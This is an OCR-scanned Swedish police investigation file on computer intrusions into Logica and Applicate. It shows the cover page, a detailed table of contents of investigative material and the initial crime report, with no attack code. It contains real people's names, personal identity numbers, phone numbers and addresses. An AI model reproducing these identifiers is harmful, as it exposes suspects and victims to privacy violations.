
Föru ndersökn i ngsprotoko l l  
Aklnr 

AM-52 1 24- 1 2  

Polismyndighet 

Stockho1ms län 
Enhet 

LU/IT !T-forensisk sektion 
Handläggare (Protokollförare) 

Kriminalinspektör Olle Wahlström 
Undersökningsledare 

Kammaråklagare Henrik Olin 
Polisens d iarienummer 

020 1 -K8 1 864- 1 2  
Målsägande 

Al Kujaili, Basim Yaseen Mwayesh 

Backe, Mikael 

Logi ca 

Vikström, Linnea 
Förtursmål 

Nej 
Ersättningsyrkanden 

M isstänkt (Efternamn och förnamn) 

Svartholm W arg, Per Gottfrid 
Brott 

Dataintrång 
Underrättelse om utredning enl igt RB 23:18 
Underrättelsesätt, misstänkt 

Försvarare 

Salomonson, Ola, förordnad 20 1 2-09- 1 3  
Underrättelsesätt, försvarare 

Misstänkt (Efternamn och förnamn) 

Gustafsson, Bror Olof Mathias 
Brott 

Dataintrång 
Underrättelse om utredning enl igt RB 23:18 
Underrättelsesätt, misstänkt 

Försvarare 

Begärd, Hurtig, Björn 

Underrättelsesätt, försvarare 

Utredningsuppgifter/Redovisningshandl ingar 
Diarienr Uppgiftstyp 

Anmälan 

Signerat av 

Signerat datum 

Datum 

20 1 3 -03-28 

Målsägandebiträde/Stödperson/Särskild företrädare 

l Beslag Målsägande vill bli underrättad om tidpunkt för huvudförhandl ingen 

Finns Nej 
Tolk krävs 

Personnummer 

1 984 1 0 1 7-053 7  

Underrättelse Yttrande Underrättelse 
utsänd senast slutförd 

Resultat av underrättelse mt l Resultat av underrättelse försv 

Personnummer 

1 97 6 1 1 1 7-7234 

Underrättelse Yttrande Underrättelse 
utsänd senast slutförd 

Resu ltat av underrättelse mt l Resultat av underrättelse försv 

Sida 

0201- K81864-12 Dataintrång Applicate 

020 1 -K8 1 864- 1 2  Anmälan . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  l 
Bilaga: Ursprunglig anmälan 



020 1 -K88 1 98- 1 2  

0201-K88198-12 Dataintrång Logica 

Anmälan . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  4 

Bilaga: Ursprunglig anmälan 

0201-K108422-12 Dataintrång 2010 Logica 

020 1 -K1 08422- 1 2  Anmälan . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  7 

020 1 -K8 1 864- 1 2  

Bilaga: Ursprunglig anmälan 

PM och tekniska uppgifter 

/P- spårning 

194.23.61.151 

PM Spåming av i p-adress . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  l u 

Logg från rnikael backes ca bel modern. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  1 1  

178.174.172.157 

Begäran om abonnentuppgifter för 1 78 . 1 74 . 1 72 . 1 57 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  1 2  

Övrigt Svar lP-spårning 1 78 . 1 74 . 1 72 . 1 57 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  1 4  

178.174.180.144 
Övrigt Förfrågan lP-spårning 1 78 . 1 74. 1 80. 1 44 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  1 5  

Övrigt Svar lP-spårning 1 78 . 1 74. 1 80 . 1 44 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  1 6  

Övrigt Svar lP-spårning 1 78 . 1 74 . 1 80 . 1 44, bilaga. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  1 7  

46.59.19.114 

Begäran om abonnentuppgifter för 46 .59 . 1 9  . 1 1 4 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  1 9  

46.59.51.181 

Begäran svar om abonnentuppgifter för 46 .59 . 5 1 . 1 8 1 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  22 

Tjänsteanteckning Abonnentuppgifter från Bahnhof och Tyfon . . . . . . . . . . . . . . . . . . . . . . . . .  . 

Quadracom 

Begäran om abonnentuppgifter från Quadracorn. . . . . . . . .  . .  . . . . . . . . . . . . .  . .  . . . . . . . . . . .  . .  . . . . . . . . . . 29 

Övrigt e-post Abonnentuppgifter från Quadracorn. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  30  

Övrigt e-post Abonnentuppgifter från Quadracorn. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  3 2  

Kontroll av telefonnummer 
Övrigt e-post Abonnentuppgifter för 0240649002 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  3 5  

Begäran om abonnentuppgifter för 0240649002 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  3 8  



Sammanställningar av /P- uppgifter 

PM FTP- och HTTP-trafik till Mathias Gustafsson. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  39  

PM 1 204 1 7  Aktuella adresser och lP-nummer. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  4 1  

Uppgifter från Logica 

Tjänsteanteckning Anders Sandell. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  42 

Skiss Skiss Applicate vs Logica. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  43 

Översiktsskiss sys 19 sys3 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  44 

Tjänsteanteckning Samtal med personal från Logica . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  46 

PM PM Gällande Elisabeth Gummesson Logica . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  47 

Uppgift om "Riksdagskontot" 

e-post från Lars Grundström Ang. Intrång. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  5 1  

Skyddade personuppgifter 

5kydd4d3p3r50nnumm3rS3K3L 1 9 - Pastebin.com. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  54 

Intyg skatteverkets verifiering av filinnehålL. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  84 

PM 1 20705 Skyddade personuppgifter. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  85 

PM Jämförelse av skyddade personummer. . . . . . . . . . . . . . . .  . . . . . . . . . . . . . .  . . . .  . . . .  . . . .  . . . .  . . . . . . . . . . . . 86 

Ludvika 

Karta Skiss över uppkopplingar i Timmermansvägen. . . . . .  . . . . . .  . .  . .  . .  . . . .  . .  . .  . .  . . . .  . .  . .  . .  . .  . 87 

Skiss Slagningar på Mattias och Lisas familjer. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  88 

Skiss Chart mellan lP och Person. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  89 

PM 1 204 1 3  Kontroll med Försäkringskassan på personer. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  90 

Antenn prestanda bild mm. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  92 

Mysec 

PM 1 3 0 1 02 Spår från Mysec och flatline . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  1 03 

PM 1 3 0205 Besök hos företaget Mysec . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  1 07 

Passagen 

PM Passagen . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  l 09 

Uppgifter om telefonabonnemang 

PM 1 204 1 1 Fråga på tfn 0240- 1 9883 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  1 1 0 

PM 1 204 1 1 Abonnemang registrade på Mathias Gustavsson .............................. l l l 

Rättshjälp 



Tyskland 

Inline Internet Online Dienst 

Yttrande Rättshjälp 630AR677/ 1 2  Baden-Wiirttemberg . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  1 1 2 

Rättshjälp 630AR677/1 2  Baden-Wiirttemberg Översättn . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  1 1 8 

Leaseweb 

Yttrande Rättshjälp 9408AR301464/ 12  Hessen . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  1 24 

Yttrande Rättshjälp 9408AR3014641 12  Hessen Översättning . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  1 27 

Berlin 

Yttrande Rättshjälp 283AR97 / 12  Berlin . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  1 30 

Yttrande Rättshjälp 283AR9711 2  Berlin Översättning . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  . 1 40 

Kambodja 

PM Kambodja . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  1 5 1  

PM 1 207 1 O Detailed information of suspect. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  1 54 

Rättshjälp Kambodja . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  1 56 

Request for assistance Cambodia 1 20709 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  1 69 

Övrigt Hand over records . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  1 72 

Övrigt Delivering and Receiving Records . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  . 1 73 

Medtagna föremål från Kambodja . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  . 1 75 

PM Material från Kambodja  . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  1 77 

UbuntuOne 

Inquiry Canonical preservation 1 20528 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  l 'us 
Inquiry Canonical preservation renewed 1 20828 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  1 79 

Övrigt Försättsblad svar Ubuntu0ne . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  1 80 

Pastebin 

Rättshjälp pastebin . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  1 82 

Pastebin preservation . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  204 

Pastebin Subpoena Response . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  206 

Tekniska undersökningsprotokoll 



Nomenklatur 

Nomenklatur för ärende 020 1 -K8 1 864- 12  och 020 1 -K29 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  208 

Översiktlig beskrivning av dataintrånget 

PM Säkerhetspolisens analys gällande dataintrånget. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  2 1 7  

Ludvika 2012-03-30 

Undersökningsprotokoll Beslag 20 1 2-020 1 -BG8693 med flera, Mobil . .  . . . . . . . . . .  230 

PM Backe, Lagergren och Palmqvist. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  24 1 

2012-0201-BG10221 Mathias Gustafsson 

Undersökningsprotokoll Beslag 20 12-020 1 -BG 1 022 1 ,  Mobil. . . . . . . . . . . . . . . . . . . . . . . . . . .  242 

Undersökningsprotokoll för beslag 20 1 2-020 1 -BG1 022 1 Passagen och 257 

Ubuntu O . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  . 

2012-0201-BG1433 6 Kristoffer Smedlund 

Undersökningsprotokoll Beslag 20 1 2-020 1 - BG1 4336, Mobil. . . . . . . . . . . . . . . . . . . . . . . . . .  3 14 

Undersökningsprotokoll för beslag 20 12-020 1 -BG 14336 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  32 1 

2012-0201-BG25023 Gottfrid Svartholm Warg 

Undersökningsprotokoll Beslag 20 1 2-020 1 - BG25023 , Mobil. .  . . . . . . . . . . . . . . . . . . . . . . . .  342 

Undersökningsprotokoll beslag 20 1 2-020 1 -BG25023 Logi ca. . . . . . . . . . . . . . . . . . . . . . . . . . .  348 

PM Undersökning av möjlighet till fjärrstyming . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  . 4 1 1 

PM 1 3030 1 Funktionsbeskrivning av apt.cli . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  .420 

PM 1 3 03 1 4  Gällande Svartholm W arg, tLt och Anakata . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  .42 1 

2012-0201-BG25708 Gottfrid Svartholm Warg 

Undersökningsprotokoll för beslag 20 12-020 1 -BG25708 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  430 

Sammanställning av chatt 

Sammanställning av xchat2 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  .435 

Tvångsmedel 

Beslag 

PM Lisas mobiltelefon, ZTE . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  48 1 

Beslagsprotokoll, 20 12-020 1 -BG8660 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  482 

Beslagsprotokoll, 20 12-020 1 -BG9059 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  483 

Beslagsprotokoll, 20 1 2-020 1 -BG9 1 1 2 . . . . . . . . . . . . . .  . .  . . . . . . . . . . . . . .  . . . . . . . . . . . . . . . . . . . . . .  . . . . . .  . . . .  . 484 

Beslagsprotokoll avseende Smedlund, Johan Kristoffer Robin, 486 

20 12-020 1 -BG 14336 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  . 



Beslagsprotokoll avseende W arg, Per Gottfrid, 20 1 2-020 1 -BG25023 . . . . . . . . . . . . . .  494 

Beslagsprotokoll, 20 12-020 1 -BG25708 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  50 1 

Husrannsakan 

Husrannsakan avseende Palrnkvist, Jenny Matilda, . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  502 

Resulterade i beslagsprotokoll: 20 1 2-020 1 -BG8678 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  504 

Husrannsakan, skogsrundan 1 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  506 

Resulterade i beslagsprotokoll: 20 1 2-020 1 -BG8693 . . .  . .  . . . . . . . . . . . . . . . . . . . .  . .  . . . . . . . .  . .  . . . .  . 508 

Husrannsakan avseende Backe, Per Jonas Wilhelm, . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  5 12 

Resulterade i beslagsprotokoll : 20 1 2-020 1 -BG8787 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  5 14 

Husrannsakan avseende Lagergren, Konrad Lars Ove, . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  5 

Resulterade i beslagsprotokoll: 20 1 2-020 1 -BG89 1 9 . . . . . . . . . .  . .  . . . .  . .  . . . . . . . .  . .  . .  . .  . .  . . . . . . . .  5 1 8  

Husrannsakan avseende Bergström, Lisa Viktoria Theres, . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  524 

Husrannsakan avseende Gustafsson, Bror Olof Mathias, . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .5''-
Resulterade i beslagsprotokoll : 20 12-020 1 -BG1 022 1 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  52! 

Husrannsakan, . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  .535  

PM Husrannsakan Passagen . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  53? 

Förhör 

Förhör övriga 

Förhör med annan, Johansson, Anna-karin Kristina . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  539 

Förhör med vittne, Palrnkvist, INGERGERD . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  54 1 

Förhör med annan, Frost, Rasmus . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  543 

Förhör med annan, Backe, Astrid Julia Kristina . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  5I' • 
Förhör med annan, Backe, Lars Mikael . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  54o 

Förhör med annan, Vikström, Linnea . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  548 

Förhör med annan, Sundelius, Jen Kristina . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  549 

Förhör med annan, Riska, Björn Mathias Riska . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  5. 
Förhör med annan, Sandell, Anders . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  552 

Förhör tidigare misstänkta 

Matilda Palmkvist 

F ör hör med misstänkt, Palrnkvist, J enny Matilda . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  5 54 

Ove Lagergren 

Förhör med misstänkt, Lagergren, Konrad Lars Ove . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  557 



Jonas Backe 

Förhör med misstänkt, Backe, Per Jonas Wilhelm . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  560 

Lisa Bergström 

Förhör med misstänkt, Bergström, Lisa Viktoria Theres . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  563 

Bilaga: 24:8förhör med Lisa 

Förhör med misstänkt, Bergström, Lisa Viktoria Theres . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  578 

Förhör med misstänkt, Bergström, Lisa Viktoria Theres . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  580 

Kristoffer Smedlund 

Förhör med misstänkt, Smedlund, Johan Kristoffer Robin 24 : 8  förhör. . . . . . . . . . . . . . .  586 

Förhör med misstänkt, Smedlund, Johan Kristoffer Robin Förhör häktet 588  

Flemingsberg Smedlund . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  . 

Förhör med misstänkt, Smedlund, Johan Kristoffer Robin . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  609 

Förhör med misstänkt, Smedlund, Johan Kristoffer Robin . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  6 1 1 

Förhör misstänkt 

Mathias Gustafsson 

Förhör med misstänkt, Gustafsson, Bror Olof Mathias . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  6 1 3  

Tjänsteanteckning samtal med Gustafsson under bilfård . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  6 1 5  

Förhör med misstänkt, Gustafsson, Bror Olof Mathias . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  6 1 6  

Förhör med misstänkt, Gustafsson, Bror Olof Mathias . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  63 8 

Förhör med misstänkt, Gustafsson, Bror Olof Mathias . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  654 

Förhör med misstänkt, Gustafsson, Bror Olof Mathias Förberedelse till grovt 658 

bedrägeri urkundsförfalskn . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  . 

Förhör med misstänkt, Gustafsson, Bror Olof Mathias . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  660 

Förhör med misstänkt, Gustafsson, Bror Olof Mathias . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  670 

Tjänsteanteckning Förhöret i Ludvika den 6 november 20 1 2  . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  69 1 

Förhör med misstänkt, Gustafsson, Bror Olof Mathias . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  692 

Förhör med misstänkt, Gustafsson, Bror Olof Mathias . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  694 

Gottfrid Svartholm Warg 

Förhör med misstänkt, Svartholm W arg, Per Gottfrid . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  700 

Förhör med misstänkt, Svartholm W arg, Per Gottfrid . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  70 1 

Förhör med misstänkt, Svartholm W arg, Per Gottfrid . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  703 

Förhör med misstänkt, Svartholm W arg, Per Gottfrid Logica . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  705 

Bilagor 



Bilaga A: Logicas rapport 

l. Report on the IT security incident of 2012 

Bilaga B: Övriga externa rapporter 

l. Applicate incidentbeskrivning 

2. Organisationsschema Bisnode 

3. Kronofogdens beskrivning av konsekvenserna med anledning av 

dataintrånget 

4. Kronofogden bilaga med dataset 

5. Skatteverkets beskrivning av konsekvenserna med anledning av dataintrånget 

6. Skatteverket - Navet 

7. Logica Incidentrapport 2010-02-17 

8. Logica Utredningsrapport v l 2012-03-24 

9. Logica Utredningsrapport v2 2012-03-28 

10. Logica Utredningsrapport v3 2012-04-04 

Bilagor till tekniska undersökningsprotokoll - ENDAST DIGITALT 
Övrigt Innehållsförteckning digitala bilagor Logica . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  7 1 8  

Personalia 

Bilaga skäligen misstänkt, Gustafsson, Bror Olof Mathias . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  720 

Personalia, Gustafsson, Bror Olof Mathias . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . T' 
Bilaga skäligen misstänkt, Svartholm W arg, Per Gottfrid . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 7L.L 

Personalia, Svartholm W arg, Per Gottfrid . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  723 

Logica och Applicate har ersättningsyrkanden som preciseras vid ett senare tillfälle. 



Polismyndighet 

Stockholms län 
Enhet 

LU Utredningsrotel 
Anmält datum 

20 12-03-23 
Brottsplats 

SVERIGE 

Brottstid 

Lördag 20 1 2-02-25 
Brottsbeskrivning 

Dataintrång 

Brottsan mälan 
Signerad av 

Signerad datum 

Diarienr 

020 1 -K8 1 864- 1 2  
Registreringsdatum Överförd från RAR 

20 12-03 -23 20 1 2-03 -23 
Områdeskod 

9500 

Brottskod Antal 

Förberedelse till grovt bedrägeri medelst urkundsförfalskning (övrigt bedrägeri) 

04 1 5  

0906 

l 
l 

I nvolverade personer 

Al Kujaili, Basim Yaseen Mwayesh 

Backe, Mikael 

Vikström, Linnea 

Applicate (axex) 

Gustafsson, Bror Olof Mathias 

Svartholm W arg, Per Gottfrid 

Applicate (axex) 
I nvolverad personal 

Larsson Morgan 

Larsson Morgan 

Recksen Mårten 
Fritext grundanmälan 

Se inkommen skrivelse angående misstanke om dataintrång. 

( skrivelesen daterad 20 1 2-03 - 1 9) 

Roll 

Målsägande 

Målsägande 

Målsägande 

Anmälare 

Misstänkt 

Misstänkt 

Uppgiftslämnare 
Funktion 

Handläggare (RAR) 
Anmälningsupptagare 

FU-ledare (RAR) 

1 



A N M Ä L A N ARKIVEXEMPLAR 
2012-03-23 16.44 
0201-K81864-12 
sida: 1 

Polismyndigheten i 
stockhalms län 

Anm.upptagande p-mynd: STOCKHOLMS LÄN 
Enhet: LU/SF Myndighetskod: 0201 
Anmälningsdatum: 2012-03-23 kl: 09.30 
Upptagen av: Insp Morgan Larsson 
Inskriven av: Insp Morgan Larsson 
Inskriven: 2012-03-23 kl: 16.27 
Enhet: LU/SF 

BROTTSPLATS 

SVERIGE, 

BROTTSTID 

Lördag 2012-02-25 

BROTT/HÄNDELSE 

Dataintrång 

SAMMANDRAG 

MÅLSÄ GANDE : 

ANMÄ LARE: 
APPLICATE (AXEX) 

VITTNE: 

BILAGOR: 
skrivelse 

FRITEXT 

Dnr: 0201-K81864-12 
Dnr annan p-mynd: 

Anmälningssätt: skrivelse 

Handl. p-mynd: STOCKHOLMS LÄN 

Områdeskod: 9500 

l. 40 
Brottskod Ant 

MISSTÄNKT: 

ÖVRIGT: 
Fritext 

0415 l 

Se inkommen skrivelse angående misstanke om dataintrång. 

(skrivelesen daterad 2012-03-19) 

Förmögenhetsgrupp 
Box 
106 75 STOCKHOLM 
Tfn: 114 14 
E-post: 

Besöksadress: Kungsholmsgatan 37 

Handläggande enhet: Förmögenhetsgrupp 
Handläggare: Inspektör Morgan Larsson 

A N M Ä L A N ARKIVEXEMPLAR 
2012-03-23 16.44 

2 



Polismyndigheten i 
stockhalms län 

ANMÄ LARE JURIDISK PERSON 
APPLICATE (AXEX) 
BOX 34101, 100 26 STOCKHOLM 
Organisationsnr: 556436-3421 
Besöksadress: 
Anmält av: YVONNE WESTMAN 
Befattning: VD 
Övriga anteckningar: 

BESLUT OM FÖRUNDERBÖKNING 

Telefon: 0708-344090 

Telefon: 0708-344090 

Datum: 2012-03-23 16.43 Beslut av: Inspektör Mårten Recksen 
Förundersökning inleds 

Förmögenhetsgrupp 
Box 

Besöksadress: Kungsholmsgatan 37 

0201-K81864-12 
sida: 2 

